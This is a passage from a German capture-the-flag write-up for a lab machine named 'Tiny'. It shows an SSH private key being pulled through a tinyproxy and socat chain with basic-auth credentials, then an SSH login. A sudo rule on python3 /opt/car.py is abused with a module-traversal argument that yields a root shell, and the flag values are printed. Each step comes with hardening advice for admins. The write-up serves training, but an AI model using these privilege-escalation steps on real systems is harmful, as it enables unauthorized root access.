**Analyse:** `socat` wird verwendet, um eine Verbindung auf Port 1111 zu öffnen und sie an `localhost:8000` weiterzuleiten. Dies dient dazu, die ursprüngliche Anfrage (die an den Proxy auf 8888 ging und dann von tinyproxy an 1111 weitergeleitet werden sollte) an den eigentlichen Zieldienst auf Port 8000 zu schicken. 1. Die eingehende Anfrage (vermutlich `curl -x http://127.0.0.1:8888 http://127.0.0.1:8000/id_rsa -u root:Q2X4]5Vjs`) wird von tinyproxy empfangen, an `localhost:1111` (wo socat lauscht) weitergeleitet. 2. `socat` leitet die Anfrage an `localhost:8000` weiter. 3. Der Dienst auf Port 8000 (identifiziert als nginx/1.22.1) antwortet mit "200 OK" und liefert einen privaten SSH-Schlüssel. Der Kommentar im Schlüssel `milou@perlman.hmv` ist verwirrend und passt nicht zur aktuellen VM "Tiny". Es ist wahrscheinlicher, dass dies der Schlüssel für den Benutzer `vic` auf `tiny.hmv` ist.

**Bewertung:** Durch die Kombination aus Proxy-Konfiguration und einem lokalen Dienst, der SSH-Schlüssel ausliefert (möglicherweise unsicher konfiguriert oder Teil eines Backups), konnte der private SSH-Schlüssel des Benutzers `vic` extrahiert werden. Die Basic-Auth-Credentials (`root:Q2X4]5Vjs`) waren notwendig, um auf den Dienst auf Port 8000 zuzugreifen.

**Empfehlung (Pentester):** Den extrahierten privaten Schlüssel speichern, Berechtigungen anpassen und versuchen, sich als `vic` per SSH anzumelden.
**Empfehlung (Admin):** 1. Den Dienst auf `localhost:8000` untersuchen und absichern. Er sollte keine privaten SSH-Schlüssel ausliefern und eine sichere Authentifizierung verwenden (nicht Basic Auth mit schwachem Passwort). 2. Die tinyproxy-Konfiguration überprüfen. Die `Upstream`-Direktive ist ungewöhnlich und sollte entfernt werden, wenn sie nicht benötigt wird. Den Zugriff auf den Proxy generell einschränken. 3. Das Passwort für `root` (`Q2X4]5Vjs`) sofort ändern. 4. Den SSH-Schlüssel für `vic` als kompromittiert betrachten und austauschen.

Shell als vic

┌──(root㉿cyber)-[~] └─# ssh vic@192.168.2.118 -i idrsa
# Annahme: Key wurde als idrsa gespeichert
Linux tiny.hmv 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
[...]
[oh-my-zsh] Would you like to update? [Y/n] y
Updating Oh My Zsh
[...]
Hooray! Oh My Zsh has been updated!
[...]
╭─vic@tiny ~ 
╰─$ # Erfolgreich als vic angemeldet (Zsh Shell)
                     

**Analyse:** Mit dem über den Proxy-Bypass extrahierten privaten Schlüssel (`idrsa`) wird erfolgreich eine SSH-Verbindung als Benutzer `vic` zum Zielsystem hergestellt. Der Benutzer `vic` verwendet die Zsh-Shell mit Oh My Zsh.

**Bewertung:** Erfolgreiche Eskalation von `www-data` zu `vic`.

**Empfehlung (Pentester):** Als `vic` weiter enumerieren, insbesondere `sudo -l`.
**Empfehlung (Admin):** Kompromittierten SSH-Schlüssel für `vic` austauschen. Den lokalen Dienst auf Port 8000 und den tinyproxy absichern.

POC: Eskalation zu root (sudo car.py)

╭─vic@tiny ~ ╰─$ sudo -l
Matching Defaults entries for vic on tiny:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vic may run the following commands on tiny:
    (ALL : ALL) NPASSWD: /usr/bin/python3 /opt/car.py*
                    

**Analyse:** `sudo -l` als `vic` zeigt, dass dieser Benutzer `/usr/bin/python3` mit dem Skript `/opt/car.py` und beliebigen nachfolgenden Argumenten (`*`) als root (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen darf.

**Bewertung:** Dies ist ein extrem gefährliches `sudo`-Recht. Es erlaubt die Ausführung von Python3 als root und, noch wichtiger, das Übergeben von beliebigen Argumenten an das Skript `/opt/car.py`. Selbst wenn `car.py` harmlos ist, kann die Fähigkeit, Python3 als root auszuführen und Argumente zu übergeben, oft zur Codeausführung missbraucht werden (z.B. durch Library Hijacking oder Ausnutzen von Modulimporten). Die hier verwendete Technik nutzt die Modulhierarchie, um auf `os.system` zuzugreifen.

**Empfehlung (Pentester):** Die `sudo`-Regel ausnutzen, indem eine Payload über die Argumente eingeschleust wird, die Python veranlasst, eine Root-Shell zu starten (siehe GTFOBins für Python mit sudo).
**Empfehlung (Admin):** Diese `sudo`-Regel **sofort entfernen**. Niemals erlauben, Interpreter wie `python3` direkt über `sudo` auszuführen, schon gar nicht mit beliebigen Argumenten und ohne Passwort. Wenn ein Skript als root laufen muss, sollte es sorgfältig geprüft und gehärtet sein, und die `sudo`-Regel sollte nur die Ausführung dieses spezifischen Skripts *ohne* zusätzliche Argumente erlauben (oder nur sehr streng validierte Argumente).

╭─vic@tiny ~ ╰─$ sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system /bin/bash
root@tiny:/home/vic# id
uid=0(root) gid=0(root) groups=0(root)
                     

**Analyse:** Der `sudo`-Befehl wird mit einer speziellen Argumentenkette ausgeführt: * `/opt/car.py`: Das erlaubte Skript (dessen Inhalt irrelevant ist). * `__init__.__globals__.random._os.system`: Dies ist der erste Teil des Payloads. Er navigiert durch die Python-Modulhierarchie, um auf das `os`-Modul zuzugreifen, das durch das (wahrscheinlich importierte) `random`-Modul erreichbar ist. Ziel ist die `system`-Funktion. * `/bin/bash`: Dies ist das zweite Argument, das an die gefundene `os.system`-Funktion übergeben wird. Python führt dies aus: Es interpretiert `/opt/car.py`. Das erste Argument `__init__.__globals__.random._os.system` wird als Objekt behandelt und Python löst es zur `os.system`-Funktion auf. Das zweite Argument `/bin/bash` wird dann an diese Funktion übergeben, was `os.system('/bin/bash')` als root ausführt und eine Root-Shell startet. Der `id`-Befehl bestätigt `uid=0`.

**Bewertung:** Privilege Escalation zu Root erfolgreich abgeschlossen durch cleveren Missbrauch der unsicheren `sudo`-Regel für Python.

**Empfehlung (Pentester):** Root-Flag und User-Flag lesen.
**Empfehlung (Admin):** Die `sudo`-Regel entfernen. Das Prinzip der geringsten Rechte strikt anwenden.

root@tiny:/home/vic# cd ~
# Wechselt nach /root
root@tiny:~# ls
root.txt
root@tiny:~# cat root.txt
0785ded6dbb7e73959924ad06152eabc
root@tiny:~# cat /home/vic/user.txt
7d9b0f6638734dbb10545f446c04a42b

**Analyse:** Als `root` werden die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/vic/user.txt`) erfolgreich gelesen.

**Bewertung:** Beide Flags wurden erfolgreich erbeutet. Das Ziel ist erreicht.

Flags

cat /home/vic/user.txt
7d9b0f6638734dbb10545f446c04a42b
cat /root/root.txt
0785ded6dbb7e73959924ad06152eabc